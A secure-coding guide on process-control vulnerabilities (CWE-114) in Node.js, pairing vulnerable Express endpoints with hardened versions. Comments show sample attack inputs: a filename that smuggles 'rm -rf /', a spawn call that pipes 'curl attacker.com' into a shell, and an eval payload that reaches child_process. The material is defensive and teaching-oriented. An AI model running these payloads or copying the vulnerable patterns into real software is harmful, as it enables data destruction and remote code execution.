CWE-114: Process Control - JavaScript/Node.js
Overview
Process control vulnerabilities in JavaScript/Node.js applications occur when untrusted user input controls process execution, lifecycle, or behavior. Node.js's child_process module and process management capabilities make these vulnerabilities particularly dangerous as attackers can spawn malicious processes, terminate critical services, or exhaust system resources.
Key Security Issues:
- Unauthorized Process Termination: Killing critical Node.js worker processes or system services
- Command Injection: Injecting shell commands through process spawning functions
- Resource Exhaustion: Fork bombing through unlimited process creation
- Privilege Escalation: Manipulating process execution with elevated privileges
- Information Disclosure: Exposing process details including environment variables with secrets
Primary Defence: Use child_process.execFile() or child_process.spawn() with shell: false and explicit argument arrays, implement allowlists for process commands and PIDs, enforce resource limits (CPU, memory, file descriptors), and require authorization checks before process termination or spawning operations.
Common Node.js/JavaScript Scenarios:
- Express/Fastify APIs managing worker processes based on user requests
- PM2/Forever process managers with web control panels
- Build systems spawning compilation processes with user-supplied parameters
- Container orchestration dashboards controlling Docker containers
- Serverless function platforms managing execution contexts
- Electron apps managing child processes for background tasks
Why This Matters in Node.js:
child_process.exec()with user input enables direct command injection- Node.js cluster management often lacks proper authorization
- PM2 and process managers expose powerful control APIs
- Easy to overlook security when spawning "simple" background tasks
- Single-threaded nature makes DoS via process control particularly effective
Common Vulnerable Patterns
Unvalidated Process Termination with process.kill()
const express = require('express');
const app = express();
// DANGEROUS: User controls which process to kill
app.post('/admin/kill-process', (req, res) => {
const pid = parseInt(req.body.pid);
try {
process.kill(pid, 'SIGKILL'); // No validation or authorization
res.json({ status: 'killed', pid });
} catch (error) {
res.status(500).json({ error: error.message });
}
});
Why this is vulnerable:
- No authentication or authorization
- Can target any process on the system
- No ownership verification
- Missing audit logging
- Could kill Node.js itself or critical system processes
Command Injection via child_process.exec()
const { exec } = require('child_process');
app.post('/convert-image', (req, res) => {
const filename = req.body.filename;
// DANGEROUS: Command injection vulnerability
exec(`convert ${filename} output.png`, (error, stdout, stderr) => {
if (error) {
return res.status(500).json({ error: error.message });
}
res.json({ result: 'converted' });
});
});
// Attack: filename = "input.jpg; rm -rf /"
Why this is vulnerable:
- Concatenating user input into shell command
- Using
exec()which spawns a shell - No input validation or sanitization
- Allows arbitrary command execution
Unrestricted Process Spawning
const { spawn } = require('child_process');
app.post('/run-script', (req, res) => {
const scriptName = req.body.script;
const args = req.body.args || [];
// DANGEROUS: No validation, no rate limiting
const child = spawn(scriptName, args);
res.json({ pid: child.pid, status: 'started' });
});
// Attack: script="/bin/sh", args=["-c", "curl attacker.com | sh"]
Why this is vulnerable:
- No allowlist of permitted scripts
- Can execute any binary on the system
- No rate limiting - fork bomb possible
- Arguments not validated
- No resource limits
PM2 Process Control Without Authorization
const pm2 = require('pm2');
app.post('/pm2/restart', (req, res) => {
const processName = req.body.process;
// DANGEROUS: Anyone can restart any PM2 process
pm2.connect((err) => {
if (err) return res.status(500).json({ error: err });
pm2.restart(processName, (err) => {
pm2.disconnect();
if (err) return res.status(500).json({ error: err });
res.json({ status: 'restarted' });
});
});
});
Why this is vulnerable:
- No authentication required
- Can restart any PM2-managed process
- No validation of process name
- Could disrupt critical services
- Missing audit trail
Cluster Worker Management Without Validation
const cluster = require('cluster');
if (cluster.isMaster) {
app.post('/admin/kill-worker', (req, res) => {
const workerId = req.body.workerId;
// DANGEROUS: No authorization
const worker = cluster.workers[workerId];
if (worker) {
worker.kill(); // Anyone can kill workers
res.json({ status: 'killed' });
}
});
}
Why this is vulnerable:
- No authorization check
- Exposes internal worker management
- Can cause service degradation
- No rate limiting on worker kills
Exposing Process Environment Variables
app.get('/debug/env', (req, res) => {
// DANGEROUS: Exposes all environment variables
res.json({
env: process.env, // Contains secrets!
pid: process.pid,
version: process.version
});
});
Why this is vulnerable:
- Environment variables contain database passwords, API keys
- No authorization required
- Sensitive data exposed via HTTP
- Aids in reconnaissance for further attacks
Using eval() with Process-Related Data
app.post('/execute-command', (req, res) => {
const command = req.body.command;
// DANGEROUS: Code injection
const result = eval(`process.${command}`);
res.json({ result });
});
// Attack: command="mainModule.require('child_process').exec('rm -rf /')"
Why this is vulnerable:
eval()allows arbitrary code execution- Can access
child_processmodule - No sandboxing or restrictions
- Complete system compromise possible
Docker Container Control Without Authorization
const Docker = require('dockerode');
const docker = new Docker();
app.post('/containers/stop', async (req, res) => {
const containerId = req.body.containerId;
// DANGEROUS: No authorization
const container = docker.getContainer(containerId);
await container.stop();
res.json({ status: 'stopped' });
});
Why this is vulnerable:
- Anyone can stop any container
- No container ownership verification
- Could disrupt production services
- Missing logging
Secure Patterns
Process Termination with Authorization
const express = require('express');
const app = express();
class SecureProcessManager {
constructor() {
this.managedProcesses = new Map();
this.authorizedUsers = new Set(['admin', 'ops-team']);
}
registerProcess(processId, pid, owner, name) {
this.managedProcesses.set(processId, {
pid,
owner,
name,
startedAt: new Date()
});
console.log(`Process registered: ${processId} (PID: ${pid}) by ${owner}`);
}
async killProcess(processId, currentUser) {
// Authorization check
if (!this.authorizedUsers.has(currentUser)) {
const error = new Error(`User ${currentUser} not authorized for process control`);
console.warn(`[AUDIT] Unauthorized kill attempt by ${currentUser}`);
throw error;
}
// Validate process ID
const managedProcess = this.managedProcesses.get(processId);
if (!managedProcess) {
const error = new Error(`Process ${processId} not under management`);
console.warn(`[AUDIT] Attempted to kill unmanaged process: ${processId}`);
throw error;
}
// Ownership verification
if (managedProcess.owner !== currentUser && currentUser !== 'admin') {
const error = new Error('Cannot kill process owned by another user');
console.warn(
`[AUDIT] ${currentUser} attempted to kill process owned by ${managedProcess.owner}`
);
throw error;
}
try {
// Send SIGTERM first (graceful shutdown)
process.kill(managedProcess.pid, 'SIGTERM');
console.log(
`[AUDIT] SIGTERM sent to ${processId} (PID: ${managedProcess.pid}) by ${currentUser}`
);
this.managedProcesses.delete(processId);
return true;
} catch (error) {
if (error.code === 'ESRCH') {
console.warn(`Process ${processId} (PID: ${managedProcess.pid}) no longer exists`);
this.managedProcesses.delete(processId);
return false;
}
throw error;
}
}
}
// Usage in Express
const processManager = new SecureProcessManager();
app.post('/admin/kill-process', authenticateUser, async (req, res) => {
const { processId } = req.body;
try {
await processManager.killProcess(processId, req.user.username);
res.json({ status: 'success', processId });
} catch (error) {
console.error(`Process kill failed: ${error.message}`);
res.status(403).json({ error: error.message });
}
});
Why this works:
- Requires authentication (
authenticateUsermiddleware) - Authorization check via
authorizedUsersset - Process allowlist prevents arbitrary process control
- Ownership verification
- Graceful shutdown with SIGTERM
- Comprehensive audit logging
Safe Process Spawning with Allowlist
const { spawn } = require('child_process');
const path = require('path');
class SecureProcessSpawner {
constructor() {
// Allowlist of permitted executables
this.allowedExecutables = new Map([
['image-processor', '/usr/bin/convert'],
['pdf-generator', '/usr/bin/wkhtmltopdf'],
['video-encoder', '/usr/bin/ffmpeg']
]);
// Rate limiting
this.userProcessCount = new Map();
this.MAX_PROCESSES_PER_USER = 3;
}
validateArguments(args) {
const dangerous = /[;&|`$(){}[\]<>*?~]/;
for (const arg of args) {
// Check for shell metacharacters
if (dangerous.test(arg)) {
throw new Error(`Argument contains dangerous characters: ${arg}`);
}
// Check for path traversal
if (arg.includes('..') || arg.startsWith('/')) {
throw new Error(`Path traversal detected: ${arg}`);
}
// Limit argument length
if (arg.length > 255) {
throw new Error(`Argument too long: ${arg.length} chars`);
}
}
return args;
}
async spawnProcess(jobType, args, currentUser) {
// Validate job type against allowlist
const executable = this.allowedExecutables.get(jobType);
if (!executable) {
throw new Error(`Job type '${jobType}' not permitted`);
}
// Rate limiting
const userCount = this.userProcessCount.get(currentUser) || 0;
if (userCount >= this.MAX_PROCESSES_PER_USER) {
throw new Error(
`Process limit reached (${this.MAX_PROCESSES_PER_USER}) for user ${currentUser}`
);
}
// Validate arguments
const validatedArgs = this.validateArguments(args);
// Spawn process with security options
const child = spawn(executable, validatedArgs, {
// Don't use shell
shell: false,
// Clean environment (no secrets)
env: {
PATH: '/usr/bin:/bin',
USER: currentUser,
NODE_ENV: 'production'
},
// Security options
detached: false, // Don't create new process group
stdio: ['ignore', 'pipe', 'pipe'], // No stdin
cwd: '/tmp' // Safe working directory
});
// Resource limits: kill long-running or noisy processes
const MAX_OUTPUT_BYTES = 1024 * 1024;
const timeoutId = setTimeout(() => {
child.kill('SIGKILL');
}, 30000);
let outputBytes = 0;
const onData = (data) => {
outputBytes += data.length;
if (outputBytes > MAX_OUTPUT_BYTES) {
child.kill('SIGKILL');
}
};
child.stdout?.on('data', onData);
child.stderr?.on('data', onData);
// Track process count
this.userProcessCount.set(currentUser, userCount + 1);
// Cleanup on exit
child.on('exit', () => {
clearTimeout(timeoutId);
const count = this.userProcessCount.get(currentUser) || 0;
this.userProcessCount.set(currentUser, Math.max(0, count - 1));
});
console.log(
`[AUDIT] Process spawned: ${jobType} by ${currentUser} (PID: ${child.pid})`
);
return child;
}
}
// Usage
const spawner = new SecureProcessSpawner();
app.post('/jobs/convert-image', authenticateUser, async (req, res) => {
const { inputFile, format } = req.body;
try {
const child = await spawner.spawnProcess(
'image-processor',
[inputFile, '-format', format, 'output.jpg'],
req.user.username
);
let output = '';
child.stdout.on('data', (data) => { output += data; });
child.on('close', (code) => {
if (code === 0) {
res.json({ status: 'success', output });
} else {
res.status(500).json({ error: `Process exited with code ${code}` });
}
});
} catch (error) {
res.status(400).json({ error: error.message });
}
});
Why this works:
- Executable allowlist prevents arbitrary command execution
shell: falseprevents command injection- Argument validation blocks path traversal and shell metacharacters
- Rate limiting prevents fork bombs
- Clean environment prevents secret leakage
- Resource limits (timeout, buffer size)
- Comprehensive logging
Safe PM2 Process Management
const pm2 = require('pm2');
class SecurePM2Manager {
constructor() {
this.allowedProcesses = new Set([
'web-server',
'api-worker',
'background-job'
]);
this.processOwners = new Map();
}
async restartProcess(processName, currentUser) {
// Validate process name against allowlist
if (!this.allowedProcesses.has(processName)) {
throw new Error(`Process '${processName}' not under management`);
}
// Check ownership
const owner = this.processOwners.get(processName);
if (owner && owner !== currentUser && currentUser !== 'admin') {
throw new Error('Cannot manage process owned by another user');
}
return new Promise((resolve, reject) => {
pm2.connect((err) => {
if (err) {
reject(err);
return;
}
pm2.restart(processName, (err, proc) => {
pm2.disconnect();
if (err) {
console.error(`[AUDIT] PM2 restart failed: ${processName} by ${currentUser}`);
reject(err);
} else {
console.log(`[AUDIT] PM2 restart: ${processName} by ${currentUser}`);
resolve(proc);
}
});
});
});
}
}
app.post('/admin/pm2/restart', authenticateUser, requireAdmin, async (req, res) => {
const { processName } = req.body;
const pm2Manager = new SecurePM2Manager();
try {
await pm2Manager.restartProcess(processName, req.user.username);
res.json({ status: 'restarted', processName });
} catch (error) {
res.status(403).json({ error: error.message });
}
});
Why this works:
- Process name allowlist
- Ownership tracking and verification
- Authorization required (admin only)
- Audit logging of all operations
- Promise-based error handling
Secure Cluster Worker Management
const cluster = require('cluster');
const os = require('os');
if (cluster.isMaster) {
const workerOwners = new Map();
const MAX_WORKERS = os.cpus().length;
class SecureClusterManager {
static async killWorker(workerId, currentUser) {
// Authorization
if (currentUser !== 'admin' && currentUser !== 'ops') {
throw new Error('Not authorized for worker management');
}
// Validate worker ID
const worker = cluster.workers[workerId];
if (!worker) {
throw new Error(`Worker ${workerId} not found`);
}
// Check if safe to kill (not last worker)
const activeWorkers = Object.keys(cluster.workers).length;
if (activeWorkers <= 1) {
throw new Error('Cannot kill last worker');
}
// Graceful shutdown
worker.send({ cmd: 'shutdown' });
// Force kill after timeout
setTimeout(() => {
if (!worker.isDead()) {
worker.kill('SIGKILL');
}
}, 5000);
console.log(`[AUDIT] Worker ${workerId} shutdown by ${currentUser}`);
}
static async spawnWorker(currentUser) {
// Authorization
if (currentUser !== 'admin') {
throw new Error('Not authorized to spawn workers');
}
// Rate limiting
const activeWorkers = Object.keys(cluster.workers).length;
if (activeWorkers >= MAX_WORKERS) {
throw new Error(`Maximum workers (${MAX_WORKERS}) reached`);
}
const worker = cluster.fork();
workerOwners.set(worker.id, currentUser);
console.log(`[AUDIT] Worker ${worker.id} spawned by ${currentUser}`);
return worker;
}
}
// Express routes for cluster management
app.post('/admin/workers/kill', authenticateUser, async (req, res) => {
try {
await SecureClusterManager.killWorker(
req.body.workerId,
req.user.username
);
res.json({ status: 'success' });
} catch (error) {
res.status(403).json({ error: error.message });
}
});
}
Why this works:
- Authorization required (admin/ops only)
- Prevents killing last worker (maintains availability)
- Graceful shutdown with timeout
- Rate limiting on worker creation
- Audit logging
Secure Environment Variable Access
class SecureEnvAccess {
constructor() {
// Allowlist of safe environment variables
this.safeEnvVars = new Set([
'NODE_ENV',
'PORT',
'LOG_LEVEL'
]);
}
getProcessInfo(currentUser) {
// Authorization
if (currentUser !== 'admin') {
throw new Error('Not authorized to view process information');
}
// Return only safe, non-sensitive information
return {
pid: process.pid,
version: process.version,
platform: process.platform,
uptime: process.uptime(),
memoryUsage: process.memoryUsage(),
// Only safe env vars
env: Object.fromEntries(
Array.from(this.safeEnvVars)
.filter(key => process.env[key])
.map(key => [key, process.env[key]])
)
};
}
}
app.get('/admin/process/info', authenticateUser, requireAdmin, (req, res) => {
const envAccess = new SecureEnvAccess();
try {
const info = envAccess.getProcessInfo(req.user.username);
res.json(info);
} catch (error) {
res.status(403).json({ error: error.message });
}
});
Why this works:
- Admin-only access
- Environment variable allowlist excludes secrets
- Returns only safe process information
- No command line arguments exposed
- Authorization check
Docker Container Management with Authorization
const Docker = require('dockerode');
const docker = new Docker();
class SecureDockerManager {
constructor() {
this.containerOwners = new Map();
this.allowedImages = new Set([
'myapp/worker:latest',
'myapp/processor:latest'
]);
}
async startContainer(imageName, currentUser) {
// Validate image
if (!this.allowedImages.has(imageName)) {
throw new Error(`Image '${imageName}' not permitted`);
}
// Create container with security options
const container = await docker.createContainer({
Image: imageName,
// Security options
HostConfig: {
Memory: 512 * 1024 * 1024, // 512MB limit
MemorySwap: 512 * 1024 * 1024,
CpuQuota: 50000, // 50% of one CPU
PidsLimit: 100, // Limit processes
ReadonlyRootfs: true, // Read-only filesystem
CapDrop: ['ALL'], // Drop all capabilities
SecurityOpt: ['no-new-privileges']
},
NetworkMode: 'bridge' // Network isolation
});
await container.start();
this.containerOwners.set(container.id, currentUser);
console.log(`[AUDIT] Container ${container.id} started by ${currentUser}`);
return container;
}
async stopContainer(containerId, currentUser) {
// Check ownership
const owner = this.containerOwners.get(containerId);
if (!owner) {
throw new Error(`Container ${containerId} not found`);
}
if (owner !== currentUser && currentUser !== 'admin') {
throw new Error('Cannot stop container owned by another user');
}
const container = docker.getContainer(containerId);
await container.stop({ t: 10 }); // 10 second graceful stop
console.log(`[AUDIT] Container ${containerId} stopped by ${currentUser}`);
this.containerOwners.delete(containerId);
}
}
app.post('/containers/start', authenticateUser, async (req, res) => {
const dockerManager = new SecureDockerManager();
try {
const container = await dockerManager.startContainer(
req.body.image,
req.user.username
);
res.json({ containerId: container.id });
} catch (error) {
res.status(400).json({ error: error.message });
}
});
Why this works:
- Image allowlist
- Resource limits (CPU, memory, processes)
- Read-only filesystem
- Dropped capabilities
- Ownership tracking
- Authorization checks
Key Security Functions
Process ID Validator
class ProcessValidator {
static validateProcessId(processId) {
// Internal process ID format (not system PID)
const validFormat = /^[a-z0-9_-]{1,64}$/;
if (typeof processId !== 'string') {
throw new TypeError('Process ID must be a string');
}
if (!validFormat.test(processId)) {
throw new Error(
`Invalid process ID format: ${processId}. ` +
'Must be alphanumeric, dash, or underscore (1-64 chars)'
);
}
return true;
}
static validatePID(pid) {
if (!Number.isInteger(pid) || pid <= 0) {
throw new Error(`Invalid PID: ${pid}`);
}
// Prevent targeting low PIDs (system processes)
if (pid < 100) {
throw new Error(`Cannot target system process (PID < 100): ${pid}`);
}
return true;
}
static validateSignal(signal) {
const allowedSignals = new Set([
'SIGTERM', 'SIGHUP', 'SIGUSR1', 'SIGUSR2'
]);
if (!allowedSignals.has(signal)) {
throw new Error(
`Signal '${signal}' not allowed. Permitted: ${[...allowedSignals].join(', ')}`
);
}
return true;
}
}
Command Sanitizer
class CommandSanitizer {
static sanitizeArgument(arg) {
// Reject shell metacharacters
const dangerous = /[;&|`$(){}[\]<>*?~!#]/;
if (dangerous.test(arg)) {
throw new Error(`Dangerous characters in argument: ${arg}`);
}
// Reject path traversal
if (arg.includes('..') || arg.startsWith('/')) {
throw new Error(`Path traversal detected: ${arg}`);
}
// Limit length
if (arg.length > 255) {
throw new Error(`Argument too long: ${arg.length} chars`);
}
return arg;
}
static sanitizeCommand(command, allowedCommands) {
const baseName = path.basename(command);
if (!allowedCommands.has(baseName)) {
throw new Error(`Command '${baseName}' not in allowlist`);
}
return baseName;
}
}
Verification
After implementing the recommended secure patterns, verify the fix through multiple approaches:
- Manual testing: Submit malicious payloads relevant to this vulnerability and confirm they're handled safely without executing unintended operations
- Code review: Confirm all instances use the secure pattern (parameterized queries, safe APIs, proper encoding) with no string concatenation or unsafe operations
- Static analysis: Use security scanners to verify no new vulnerabilities exist and the original finding is resolved
- Regression testing: Ensure legitimate user inputs and application workflows continue to function correctly
- Edge case validation: Test with special characters, boundary conditions, and unusual inputs to verify proper handling
- Framework verification: If using a framework or library, confirm the recommended APIs are used correctly according to documentation
- Authentication/session testing: Verify security controls remain effective and cannot be bypassed (if applicable to the vulnerability type)
- Rescan: Run the security scanner again to confirm the finding is resolved and no new issues were introduced
Security Checklist
- All process control endpoints require authentication and authorization
- Process allowlist implemented for managed processes
- Never use
child_process.exec()orexecSync()with user input - Always use
spawn()withshell: false - Arguments validated before passing to subprocess
- Rate limiting prevents fork bombs
- Resource limits applied (timeout, maxBuffer)
- Clean environment passed to spawned processes
- Ownership verification before process control operations
- Signal allowlist (no SIGKILL/SIGSTOP for regular users)
- PID validation prevents targeting system processes
- Comprehensive audit logging of all operations
- PM2/cluster management requires admin authorization
- Docker container control includes ownership checks
- Environment variable access restricted to safe values